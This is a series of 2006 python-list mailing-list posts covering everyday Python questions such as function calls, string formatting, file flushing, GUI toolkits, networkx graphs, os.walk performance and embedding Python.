_o__)                                                                  |
Ben Finney



From fredrik at pythonware.com  Thu Oct 19 12:31:09 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 18:31:09 +0200
Subject: Calling functions
In-Reply-To: <B9D4452D-8C7C-49FC-9184-D210AA9316C8@mac.com>
References: <B9D4452D-8C7C-49FC-9184-D210AA9316C8@mac.com>
Message-ID: <eh898b$g70$1@sea.gmane.org>

Tommy Grav wrote:

> I have a small program that goes something like this
> 
> def funcA() : pass
> def funcB() : pass
> def funcC() : pass
> 
> def determine(f):
>     t = f()
>     return t
> 
> What I would like to do is be able to 
> 
> n = determine(funcA)
> m = determine(funcB)
> 
> But I can't really figure out how to do this

really?  the code you posted does work, to some extent (it doesn't
raise any errors, but since your functions don't contain any "return" 
statements, they'll return None, and both "n" and "m" will be set to None).

what did you expect this to do?

</F>



From ptmcg at austin.rr._bogus_.com  Fri Oct  6 09:27:16 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 06 Oct 2006 13:27:16 GMT
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>	<4omn7jFfe26cU1@uni-berlin.de>
	<mailman.1445.1160129066.10491.python-list@python.org>
	<EbmdnehwrJn_sLvYnZ2dnUVZ_uidnZ2d@speakeasy.net>
Message-ID: <UQsVg.43512$DU3.2242@tornado.texas.rr.com>

"Erik Max Francis" <max at alcyone.com> wrote in message 
news:EbmdnehwrJn_sLvYnZ2dnUVZ_uidnZ2d at speakeasy.net...
> Steve Holden wrote:
>
>> I have to say I find the colour of your socks *much* more interesting.
>
> Especially what with the skulls and all.
>

Yeah, where'd you get those socks?  (Halloweens a-comin')
:)

-- Paul 




From codecraig at gmail.com  Tue Oct 17 09:30:32 2006
From: codecraig at gmail.com (abcd)
Date: 17 Oct 2006 06:30:32 -0700
Subject: Tertiary Operation
Message-ID: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>

x = None
result = (x is None and "" or str(x))

print result, type(result)

---------------
OUTPUT
---------------
None <type 'str'>


y = 5
result = (y is 5 and "it's five" or "it's not five")

print result

-------------
OUTPUT
-------------
it's five

...what's wrong with the first operation I did with x?  I was expecting
"result" to be an empty string, not the str value of None.



From ptmcg at austin.rr._bogus_.com  Mon Oct  2 09:31:09 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 02 Oct 2006 13:31:09 GMT
Subject: Problem with .next() method adding junk characters.
References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com>
	<mailman.1076.1159776001.10491.python-list@python.org>
Message-ID: <xw8Ug.1381$5o5.998@tornado.texas.rr.com>

"Fredrik Lundh" <fredrik at pythonware.com> wrote in message 
news:mailman.1076.1159776001.10491.python-list at python.org...
> "Rainy" <ak at silmarill.org> wrote:
>
>> I'm just curious as to what's happening. I understand that you're not
>> supposed to call .next on a file open for writing. But I don't know why
>> and how it does what happened here; besides, I've seen the same thing
>> happen before when I was doing something else with file
>> open/write/close, but I don't remember the specifics.
>
> C's stdio library require you to call "flush" when switching between 
> reading and
> writing; if you don't, the result is undefined.
>
> </F>
>

Sure enough, following the OP's original sequence, with an intervening flush 
between the writes and next, leaves the file in the expected state:

>>> f = file("xyzzy.dat","w")
>>> f.write("1\n")
>>> f.write("2\n")
>>> f.write("3\n")
>>> f.flush()
>>> f.next()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
IOError: [Errno 9] Bad file descriptor
>>> f.close()
>>> f = file("xyzzy.dat")
>>> f.next()
'1\n'
>>> f.next()
'2\n'
>>> f.next()
'3\n'
>>> f.next()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
StopIteration
>>>

I would guess then that the likely extent of any fix to this "bug" would be 
documentation to the effect of Fredrik's last comment above.

-- Paul




From enleverlesX.XmcX at XmclaveauX.com  Tue Oct 17 02:21:19 2006
From: enleverlesX.XmcX at XmclaveauX.com (Méta-MCI)
Date: Tue, 17 Oct 2006 08:21:19 +0200
Subject: COM Error -- Urgent help
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
Message-ID: <45347682$0$25906$ba4acef3@news.orange.fr>

Hi!


.func(  is not defined...


@-salutations
-- 
Michel Claveau





From wekoweko at gmail.com  Tue Oct  3 07:59:54 2006
From: wekoweko at gmail.com (Weko Altamirano)
Date: Tue, 3 Oct 2006 19:59:54 +0800
Subject: Manipulate PDFs
Message-ID: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com>

Hi Everyone, am a developer using Zope and wanted to know if any of you have
ever implemented a pdf generating/creating system using python? This just
means mostly manipulating pdfs (create and/or edit) via web. If you guys
have any suggestions or recommendations please post, thanks.
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From martin at v.loewis.de  Wed Oct 25 13:34:54 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 19:34:54 +0200
Subject: Python's CRT licensing on Windows <-- FUD
In-Reply-To: <1161794422.707799.273200@b28g2000cwb.googlegroups.com>
References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
	<mailman.1184.1161791523.11739.python-list@python.org>
	<1161794422.707799.273200@b28g2000cwb.googlegroups.com>
Message-ID: <453FA03E.8070105@v.loewis.de>

sturlamolden schrieb:
> Is further "distribution" okay if it is only accompanied by the python
> runtime DLL (as is the case when using Py2Exe) or should the entire
> python-2.4.4.msi from python.org be "distributed"?

As Fredrik Lundh says: Ask your lawyer. We cannot really interpret the
Microsoft license for you (I can only give it to you in case you don't
have it), and I can't formally give you permission to do copy something
that Microsoft has the copyright to.

If you are asking whether python24.dll should be treated as "Licensee
Software": then yes, I believe it is "Licensee Software".

> I certainly don't understand the EULA, and thus I cannot make sure that
> I lawyer understands it either. But I can certainly find a lawyer that
> charges $$$$ an hour and pretends to understand it. I am sure buying a
> copy of VC7 is a lot cheaper.

So what do you hope to get from the newsgroup article? Free legal
advice? You can't really get that; you can only get opinions. You
still have to draw your own conclusions.

Regards,
Martin


From jcoleman at franciscan.edu  Mon Oct 30 10:59:51 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 30 Oct 2006 07:59:51 -0800
Subject: Observation on "Core Python Programming"
In-Reply-To: <Fxo1h.192$1n3.4526@news.tufts.edu>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
	<Fxo1h.192$1n3.4526@news.tufts.edu>
Message-ID: <1162223991.134767.33560@m73g2000cwd.googlegroups.com>


John Salerno wrote:
> John Coleman wrote:
> > Greetings,
> >    My copy of the second edition of Chun's "Core Python Programming"
> > just arrived from Amazon on Friday.
>
> Who would you say the book is aimed at? Advanced programmers? I thought
> about getting it, but I'm not sure if it will be either 1) too much
> repetition of the basics I've already learned (which isn't necessarily a
> bad thing), or 2) too advanced for me right now.
>
> Thanks.

It strikes me as being aimed at intermediate programmers who don't have
much familiarity with Python. I bought it since my only other book on
Python ("Learning Python" by Lutz) is somewhat dated now and because I
find that I'm a slow learner and it usually takes me a couple of books
by independent authors to "get" a language. The publisher's page is
more informative than what you see on Amazon. You can see the table of
contents and read a sample chapter there to help you decide if the book
is for you:
http://vig.prenhall.com/catalog/academic/product/1,4096,0130260363,00.html

HTH

-John Coleman



From paul at boddie.org.uk  Fri Oct 13 18:36:25 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 13 Oct 2006 15:36:25 -0700
Subject: wing ide vs. komodo?
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
	<tURXg.27343$Go3.5193@dukeread05>
	<mailman.481.1160768935.11739.python-list@python.org>
	<18SXg.27347$Go3.9933@dukeread05>
	<mailman.482.1160769808.11739.python-list@python.org>
	<XMSXg.27356$Go3.11355@dukeread05>
Message-ID: <1160778985.576091.39700@e3g2000cwe.googlegroups.com>

hg wrote:
>
> Eric3 is very nice and moving forward ... I believe it is based on the
> QT library which free ... yet not so free under windows (i have yet to
> understand the business model).

There are snapshots of Eric4 available, apparently. See here for more:

http://www.riverbankcomputing.co.uk/
http://www.die-offenbachs.de/detlev/eric4.html

[...]

> PS: I also was taken aback by the fact that the PyDev license was
> "per-year" ... it's like buying Word for a year only ... isn't it ?

Flashbacks to the age of shareware seem to be commonplace in the realm
of Eclipse, or that's how the scene seems to me.

Paul



From bignose+hates-spam at benfinney.id.au  Sun Oct  8 00:08:56 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sun, 08 Oct 2006 14:08:56 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45254B18.2090806@v.loewis.de>
	<0BQVg.138807$zy5.1859480@twister1.libero.it>
	<eg8v0u$g3m$1@panix3.panix.com>
	<2vXVg.139282$_J1.908700@twister2.libero.it>
	<1160279378.414897.263600@i42g2000cwa.googlegroups.com>
Message-ID: <87u02fbg9z.fsf@benfinney.id.au>

"Ilias Lazaridis" <ilias at lazaridis.com> writes:

> As for Mr. Holden... it's not a matter of not respecting you.
> It is in his nature to babble in this way.
> Sometimes it's even funny!

Oh my. You have *seriously* misjudged this group if you think that
comment will give you any net gain in discussions here.

-- 
 \     "I think there is a world market for maybe five computers."  -- |
  `\                              Thomas Watson, chairman of IBM, 1943 |
_o__)                                                                  |
Ben Finney



From deets at nospam.web.de  Fri Oct 13 05:24:17 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 13 Oct 2006 11:24:17 +0200
Subject: SOAPpy and callback
In-Reply-To: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
Message-ID: <4p94a0Fhr1amU1@uni-berlin.de>

fabien.benard at gmail.com schrieb:
> Hello,
> 
> I'm trying to find how to use a callback in a SOAP client using SOAPpy.
> Does SOAPpy have to manage it, or does Python include some API to do
> it?

I've never seen any callback mentioned in SOAP. Are you sure this is 
possible with any SOAP implementation, at least standard-wise?

Diez


From blue99 at interia.pl  Mon Oct 16 02:51:57 2006
From: blue99 at interia.pl (Rob Wolfe)
Date: 15 Oct 2006 23:51:57 -0700
Subject: How to send E-mail without an external SMTP server ?
In-Reply-To: <mailman.553.1160976477.11739.python-list@python.org>
References: <mailman.553.1160976477.11739.python-list@python.org>
Message-ID: <1160981517.845397.173540@h48g2000cwc.googlegroups.com>


fdu.xiaojf at gmail.com wrote:
> Hi,
>
> I just want to send a very simple email from within python.
>
> I think the standard module of smtpd in python can do this, but I
> haven't found documents about how to use it after googleing. Are there
> any examples of using smtpd ? I'm not an expert,so I need some examples
> to learn how to use it.

See standard documentation:

http://docs.python.org/lib/SMTP-example.html

HTH,
Rob



From fredrik at pythonware.com  Wed Oct 11 01:33:01 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 07:33:01 +0200
Subject: Difference between unindexable and unsubscriptable
In-Reply-To: <eghtcj$lrh$1@skeeter.ucdavis.edu>
References: <eghtcj$lrh$1@skeeter.ucdavis.edu>
Message-ID: <eghvme$98i$2@sea.gmane.org>

Jackson wrote:

> What is the difference between "object is unindexable" and "object is 
> unsubscriptable"?
> 
> I would like to test if an object can accept:   obj[0]
> 
>  >>> from sets import Set
>  >>> Set([1,2])[0]
> TypeError: unindexable object
> 
>  >>> 3[0]
> TypeError: unsubscriptable object
> 
> It seems like each of these errors can be replaced with a single type error.

the message string is not part of the error type, and may change between 
versions.  just catch the TypeError and be done with it.

</F>



From chris.cavalaria at free.fr  Wed Oct 25 03:48:55 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Wed, 25 Oct 2006 09:48:55 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <mailman.1144.1161755212.11739.python-list@python.org>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<453E3370.9060008@kevin-walzer.com>	<eddc3$453eb1df$54d1d767$28881@news.chello.no>
	<mailman.1144.1161755212.11739.python-list@python.org>
Message-ID: <453f16e5$0$28552$426a74cc@news.free.fr>

Fredrik Lundh a ?crit :
> David Boddie wrote:
> 
>>> commercial deployment is expensive; free deployment must be GPL;
>>
>> Opinions differ on the first one of these.
> 
> even if you define "expensive" as "costs more money than the others" ?
Even if you consider that the huge time saving you get out of using Qt 
is worth more than what you pay to acquire a licence?

That's the idea anyway.


From tim.peters at gmail.com  Sun Oct  1 16:28:57 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 1 Oct 2006 16:28:57 -0400
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
References: <32108776.1159713187905.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>
Message-ID: <1f7befae0610011328i410bbd40s48d44b734d6ddb3e@mail.gmail.com>

[charlie strauss]
> I want to clarify that, on my computer, the first instance of the gap occurs way
> before the memory if filled. (at about 20% of physical ram).  Additionally the
> process monitor shows no page faults.

Python has no idea of how much RAM you have, or even of how much RAM
it's using.  See the `gc` module docs, function set_threshold(), for a
description of when Python decides to run a cyclic gc pass.  That's
all about the current excess (if any) of the number of container
allocations over the number of container deallocations since the last
time cyclic gc ran.

> ...
> (note that the array if filled as [1]*10, so there is actually only one "integer",
> but 10 array elements refering to it, per foo class.)

Nevertheless cyclic gc has to examine all 10 array elements each time
the list is scanned.

> ...
> For example when I write
>
> me.memory = [1]*nfoo
>
> perhaps internally, python is allocating an array of size foo and then __copying__ it
> into me.memory???

No.  Assignments in Python never copy anything.

> Since there is no reference to the intermediate it would then marked for future
> garbage collection.

Nothing in Python is "marked for future garbage collection".  From
time to time /all/ container objects are scanned to determine whether
any have become cyclic trash.  This takes time proportional to the
total number of containees across all container objects.

...

> foo was an election ballot holding 10 outcomes, and bar was a set of 100 ballots
> from 100 voting machines, and the total array was holding the ballot sets from a few
> thousand voting machines.
>
> Almost any inventory program is likely to have such a simmilar set of nested array,
> so it hardly seems unusual.

For memory-consumption reasons alone, a serious <wink> such program is
likely to use array.array objects at leaf level instead.  array.array
objects hold raw bits, not Python objects.  Since they don't hold
Python objects, they can't possibly be part of a cycle, so cyclic gc
doesn't need to scan array.array contents either.


From duncan.booth at invalid.invalid  Fri Oct 13 04:29:45 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 13 Oct 2006 08:29:45 GMT
Subject: Using SVN with Python and .pyc files
References: <iOHXg.22333$Ij.6430@newssvr14.news.prodigy.com>
Message-ID: <Xns985B609C7C2C9duncanbooth@127.0.0.1>

James Stroud <jstroud at mbi.ucla.edu> wrote:

> I have been moving to managing a lot of my code with SVN and I have 
> found it to work extremely well. However, I'm not exactly sure how to 
> deal with all of the .pyc files that get created every time I test a 
> project or package. How do people manage this? Do you run a script to 
> find files with the .pyc extension and delete those before every commit, 
> or is there a more elegant way? It seems like a lot of wasted bandwidth 
> an memory on the server side to constantly be dealing with these files 
> that contain no real information.

You use svn:ignore to ignore files you don't want version controlled.

See:
http://svnbook.red-bean.com/nightly/en/svn.advanced.props.html#svn.advanced.props.special.ignore


From sturlamolden at yahoo.no  Sat Oct 21 12:13:07 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 21 Oct 2006 09:13:07 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161443842.206948.145300@i42g2000cwa.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161443842.206948.145300@i42g2000cwa.googlegroups.com>
Message-ID: <1161447186.938144.35810@f16g2000cwb.googlegroups.com>


Wektor wrote:

> wx has also graphical editors like Glade (there is a wxGlade project)
> giving a xml description of a window and its cross platform.

If you are thinking about XRC, then beware that this XML don't solve
any problems, it just creates another. XRC and libglade do not compare.
libglade makes the GUI development easy and the program code clean and
easy to read. XRC makes the GUI development difficult and the program
code convoluted and difficult to read.

Also wxGlade is not GLADE. In particular, wxGlade is unstable and tend
to crash or do stupid things. But if your oalternative is to hand-code
the wxPython GUI, then wxGLADE is nevertheless the better option.

> On the other hand its a pity that there isnt much choice in cross
> platform (win mac lin) GUI platforms until now i was a great fan of GTK
> but there isnt a proper port for Mac.

GTK is being ported to Aqua, but the port it is in its early stages.

> Its also a pity that no one didnt do something based on OpenGL with
> python (or maybe im wrong) it could be cool and really cross-platform.

You are wrong. There are PyOpenGL and there is cross-platform GUI and
game development platforms that use it (PyGTK, wxPython, PyGame). There
are also PyOgre, which are more pythonic than using OpenGL directly.



From boggom at comcast.net  Thu Oct  5 18:16:19 2006
From: boggom at comcast.net (boggom at comcast.net)
Date: 5 Oct 2006 15:16:19 -0700
Subject: Graph Theory
In-Reply-To: <1160079922.925712.55850@i42g2000cwa.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<1160079341.752297.139110@h48g2000cwc.googlegroups.com>
	<1160079922.925712.55850@i42g2000cwa.googlegroups.com>
Message-ID: <1160086579.492499.38120@m7g2000cwm.googlegroups.com>


diffuser78 at gmail.com wrote:
> Thanks for your quick reply. Since I have not read the documentation, I
> was wondering if you can generate random graph and analyze some
> peroperties of it like clustering coefficient or graph density. I am a
> graph theory student and want to use python for development. Somebody
> told me that Python has already so much bultin. Are there any
> visualization tool which would depict the random graph generated by the
> libraries.

networkx has several random graph generators, including:

   barabasi_albert_graph
   binomial_graph
   erdos_renyi_graph
   gnm_random_graph
   gnp_random_graph
   random_regular_graph
   watts_strogatz_graph

and others (e.g. via configuration_model)

For drawing you can use pygraphviz (also available at
networkx.lanl.gov)
or the built-in drawing tools.

e.g.

>>> from networkx import *
>>> no_nodes=1000
>>> for p in [ 0.1, 0.2, 0.3]:
>>>    g = watts_strogatz_graph(no_nodes, 4, p)
>>>    print density(g), average_clustering(g)

be warned that drawing large random graphs are not overly insightful

check the examples



From casevh at comcast.net  Sun Oct 22 01:23:14 2006
From: casevh at comcast.net (casevh at comcast.net)
Date: 21 Oct 2006 22:23:14 -0700
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <mailman.918.1161493788.11739.python-list@python.org>
References: <1161491991.010112.65630@k70g2000cwa.googlegroups.com>
	<mailman.918.1161493788.11739.python-list@python.org>
Message-ID: <1161494594.813763.155400@m73g2000cwd.googlegroups.com>

>
> The link for pexports-0.42h.zip is broken so I cant
> test it on an extension.
>

pexports is only needed for Python 2.3. It is not required for 2.4 or
2.5.

casevh



From deets at nospam.web.de  Mon Oct  9 09:31:56 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Mon, 09 Oct 2006 15:31:56 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net>
Message-ID: <4ov1acFgfmpmU1@uni-berlin.de>

Bjoern Schliessmann wrote:

> erikcw wrote:
> 
>> DiveIntoPython.org was the first book I read on python, and I
>> really
>> got a lot out of it.  I need to start learning Java (to maintain a
>> project I've inherited), and was wondering if anyone knew of any
>> similar books for Java?
> 
> Perhaps a bit of a rant, but learn Python and C++, take the worst of
> both, make it a language and you have Java ... ;)

While I do not love java, this is one of the dumbest statements for a while
in this NG - even though it is not meant to be too serious. 

C++ has a lot of wicked, complicated features like overloadable assignment
statements and so on, misses GC, and is in general semantically very
overloaded. All that make programming it a real PITA, as you permanently
are at risk loosing your feet through self-inflicted gun-shot-wounds.

While Java is a language that makes it difficult to produce nice or
beautiful code, it certainly is a language that hinders you to shoot in
your own foot really badly.

Diez


From fredrik at pythonware.com  Fri Oct 13 12:05:56 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 18:05:56 +0200
Subject: Big speed boost in os.walk in Python 2.5
In-Reply-To: <1160731646.651573.37150@i42g2000cwa.googlegroups.com>
References: <1160731646.651573.37150@i42g2000cwa.googlegroups.com>
Message-ID: <egodh4$kr9$2@sea.gmane.org>

looping wrote:

> Results on Windows XP after some run to fill the disk cache (with
> ~59000 files and ~3500 folders):
> Python 2.4.3 : 45s
> Python 2.5 : 10s
> 
> Very nice, but somewhat strange...
> Is Python 2.4.3 os.walk buggy ???

No.  A few "os" function are now implemented in terms of Windows API:s, 
instead of using Microsoft C's POSIX compatibility layer.  This includes 
os.stat(), which is what isdir() uses to check if something is a 
directory.  The code was rewritten to work around problems with 
timestamps, so the speedup is purely a side effect.

> Is this results only valid in Windows or *nix system show the same
> difference ?

On Unix system, Python uses POSIX API:s, not Windows API:s.

> The profiler show that most of time is spend in ntpath.isdir and this
> function is *a lot* faster in Python 2.5.

Why are you asking if something's buggy when you've already figured out 
what's been improved?

> Maybe this improvement could be backported in Python 2.4 branch for the
> next release ?

It's not really broken, so that's not very likely.

</F>



From irmen.NOSPAM at xs4all.nl  Mon Oct  2 17:44:26 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Mon, 02 Oct 2006 23:44:26 +0200
Subject: php and python: how to unpickle using PHP?
In-Reply-To: <mailman.1123.1159824627.10491.python-list@python.org>
References: <mailman.1123.1159824627.10491.python-list@python.org>
Message-ID: <45218840$0$4528$e4fe514c@news.xs4all.nl>

Ted Zeng wrote:
> Hi, 
> 
> I store some test results into a database after I use python
> To pickle them (say, misfiles=['file1','file2'])
> 
> Now I want to display the result on a web page which uses PHP.
> How could the web page unpickle the results and display them?
> Is there a PHP routine that can do unpickle ?
> 
> Ted zeng
> 

Pickle is Python specific.
You may be able to write something that can unpickle
the basic datatypes but I wouldn't bother with it.

Try to find a language neutral marshaling format
(yaml? xml? whatever) and access that from both Python and PHP...

--Irmen


From michael at stroeder.com  Thu Oct  5 19:42:20 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Fri, 06 Oct 2006 01:42:20 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1160075219.326684.170770@k70g2000cwa.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1160004324.651743.280590@b28g2000cwb.googlegroups.com>
	<mailman.1321.1160029812.10491.python-list@python.org>
	<1160075219.326684.170770@k70g2000cwa.googlegroups.com>
Message-ID: <trhgv3-g7h.ln1@nb2.stroeder.com>

Ilias Lazaridis wrote:
> 
> You need just 2 active contributors - and the python community, not
> more

Hmm, this number does not say much. It really depends on the required
service level and how much time these two people can spend for
maintaining the tracker service.

Ciao, Michael.


From horpner at yahoo.com  Tue Oct 24 13:05:13 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 24 Oct 2006 19:05:13 +0200
Subject: Current stackdepth outside PyEval_EvalFrameEx
References: <200610230220.47741.fabianosidler@gmail.com>
	<mailman.1096.1161708672.11739.python-list@python.org>
Message-ID: <slrnejshvc.1qk.horpner@FIAD06.norwich.edu>

On 2006-10-24, Fabiano Sidler <fabianosidler at gmail.com> wrote:
> On Monday 23 October 2006 02:20, I wrote:
>> I'm trying to implement a python function that returns the
>> current stack depth of its frame. Unfortunately, I don't see
>> any possibility to get this value outside of
>> PyEval_EvalFrameEx. Inside of it, I'd use the STACK_LEVEL
>> macro. How do I do it?
>
> No hints?

Perhaps the inspect module will help?  See 3.11.4 The Interpreter
Stack.

-- 
Neil Cerutti
I make love to pressure. --Stephen Jackson


From Matthew.Warren at Digica.com  Thu Oct  5 07:13:18 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Thu, 5 Oct 2006 12:13:18 +0100
Subject: Why do this?
In-Reply-To: <CCAC78D42E32184F8E26DC163DB98306C1B4EA@vogbs009.gb.vo.local>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE591@UKEX01.Digica.local>

> 
> | Now, I started programming when I was 8 with BBC Basic.
> 
> Hey, likewise! (Except I was 12 when it came out!)

I think it came out before I was 8, and I started out with print and
input. Not sure if that's 'real' programming - I don't think I graduated
to ifs and thens and gotos and gosubs for a while.. Uhm, Or was it 'def
proc' et al for BBC Basic? Brain holes leaking old stuff out :)

> | Print "There are "+number+" ways to skin a "+furryanimal
> 
> perfectly sound Python code, as far as it goes, altho' obviously
> "Print" is spelt "print" in Python, and if that number is in fact
> a number it'll need to be str ()-ed first.

Blame outlook and AutoCaps. If number were a number I would write

print "There are",number,"ways to skin a "+furryanimal

..something I like about python, 'cause having been pathalogically
avoiding %'s etc.. I have learned to hate going "string "+str(number)+"
string"

> 
> | But nowadays, I see things like this all over the place;
> | 
> | print("There are %s ways to skin a %s" % (number, furryanimal))
> 
> The outermost brackets are (at the moment) unnecessary in python,

Oops :)

> altho' print is slated for replacement by a function in Python 3.0
> at which point they'll be necessary.

? Why do that, point me at a PEP if required and I'll read it :)

> 
> number = 3
> animal = "cat"
> print "There are %d ways to skin a %s" % (number, animal)
> 
> | Now I understand there can be additional formatting benefits when
> | dealing with numbers, decimal places etc.. But to me, for 
> strings, the
> | second case is much harder to read than the first.
> 
> I think what it comes down to is just what's most readable in the
> situation in which you're using it. Imagine a rather longer
> string, and one where <number> and <animal> are not short names,
> but calls to some function. Sometimes, since %s will call __str__
> on anything it's passed, it's a quick way to get a string 
> representation
> of a more complex object, which you'd otherwise have to str () at
> least.
>
> Also, for me, substitution often reads more naturally because you're 
> not breaking the string up with lots of " + xxxx + "..." + 
> yyy + "...  
> stuff. Again, though, depends on what your code looks like, and how 
> readable you find it. Certainly, I wouldn't advocate *pathologically* 
> avoiding the "%s" % blah style, but it needn't always be the right
> thing.
>

I am a big fan of easily human readable meaningful names for things, to
the extent that I will quite readily use var or function names
ThatCanBeQuiteLongAndExplanatory() For me, it helps retain the
readbility say, when breaking up a string with lots of + xxx + "etc..
Etc.." + lalala

>It may be easier 
> to use the 
> dictionary form of the substitution then, eg:
> 
> print """
> Long string with %(valueA)s and %(valueB)s and %(valueC)s embedded in
> it at some distance from the end...
> ...
> """ % dict (valueA=1, valueB="blah", valueC=datetime.datetime.now ())
> 
> Obviously that dict would likely be defined elsewhere, or could even
> be locals (). Once you get to this stage, though, you might want to 
> start looking at templating toolkits like Cheetah, Genshi or any of
> the many others knocking around.
>

That's something I wasn't aware of, and I think I'll try if I find
myself going

"something"+dict['thingummy']+" red ones and "+dict['colour']+" ones"

The dict substitution does feel a bit easier to read compared to the
concatenation, because of the dict['    ']  noise.

Matt.




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From jefishman at gmail.com  Thu Oct 26 12:22:23 2006
From: jefishman at gmail.com (jefishman at gmail.com)
Date: 26 Oct 2006 09:22:23 -0700
Subject: Embedded python loading .so files?
In-Reply-To: <45404532.8000805@v.loewis.de>
References: <1161836879.975380.196610@m73g2000cwd.googlegroups.com>
	<45404532.8000805@v.loewis.de>
Message-ID: <1161879743.635263.168800@i3g2000cwc.googlegroups.com>

> You really need to do some debugging here. There must be more error
> message than that, or there are some issues with libdl on the target
> system. A common problem is that it gives an error message that
> some symbols could not be found when loading the shared library,
> and that these symbols originate from Python run-time. In this
> case, the reason is that the executable does not export the Python
> symbols; you need to pass -export-dynamic to the linker of the
> container application.
>
> This is all guessing, of course: you didn't even say whether
> the target system is Unixish-ELF-based.
>
> Regards,
> Martin

Sorry, I never really know how much information in enough, and when
it's just complicating the issue. That obviously wasn't, and didn't
even get to the root of the problem:

The target system is mipsel-linux, specifically Sony's OPEN-R platform
running on a Sony ERS-7 Aibo robotic dog.  I have recompiled passing
-export-dynamic, but I realized this is not the issue.  Here is the
output of the import attempt from within the module imported by
PyImport_ImportModule(const char *name):

import numpy # directory /MS/PyLib/numpy
# trying /MS/PyLib/numpy/__init__.py
# /MS/PyLib/numpy/__init__.pyc matches /MS/PyLib/numpy/__init__.py
import numpy # precompiled from /MS/PyLib/numpy/__init__.pyc
# trying /MS/PyLib/numpy/__config.py
# /MS/PyLib/numpy/__config.pyc matches /MS/PyLib/numpy/__config.py
import numpy.__config__ # precompiled from /MS/PyLib/numpy/__config.pyc
# trying /MS/PyLib/numpy/version.py
# /MS/PyLib/numpy/version.pyc matches /MS/PyLib/numpy/version.py
import numpy.version # precompiled from /MS/PyLib/numpy/version.pyc
# trying /MS/PyLib/numpy/_import_.py
# /MS/PyLib/numpy/_import_.pyc matches /MS/PyLib/numpy/_import_.py
import numpy._import_tools # precompiled from
/MS/PyLib/numpy/_import_.pyc
# trying /MS/PyLib/numpy/os.py
# trying /MS/PyLib/numpy/os.pyc
# trying /MS/PyLib/numpy/sys.py
# trying /MS/PyLib/numpy/sys.pyc
# trying /MS/PyLib/numpy/imp.py
# trying /MS/PyLib/numpy/imp.pyc
import imp # builtin
# trying /MS/PyLib/numpy/glob.py
# trying /MS/PyLib/numpy/glob.pyc
# trying /MS/PyLib/glob.py
# /MS/PyLib/glob.pyc matches /MS/PyLib/glob.py
import glob # precompiled from /MS/PyLib/glob.pyc
# trying /MS/PyLib/fnmatch.py
# /MS/PyLib/fnmatch.pyc matches /MS/PyLib/fnmatch.py
import fnmatch # precompiled from /MS/PyLib/fnmatch.pyc
# trying /MS/PyLib/re.py
# /MS/PyLib/re.pyc matches /MS/PyLib/re.py
import re # precompiled from /MS/PyLib/re.pyc
# trying /MS/PyLib/sre.py
# /MS/PyLib/sre.pyc matches /MS/PyLib/sre.py
import sre # precompiled from /MS/PyLib/sre.pyc
# trying /MS/PyLib/sre_comp.py
# /MS/PyLib/sre_comp.pyc matches /MS/PyLib/sre_comp.py
import sre_compile # precompiled from /MS/PyLib/sre_comp.pyc
import _sre # builtin
# trying /MS/PyLib/sre_cons.py
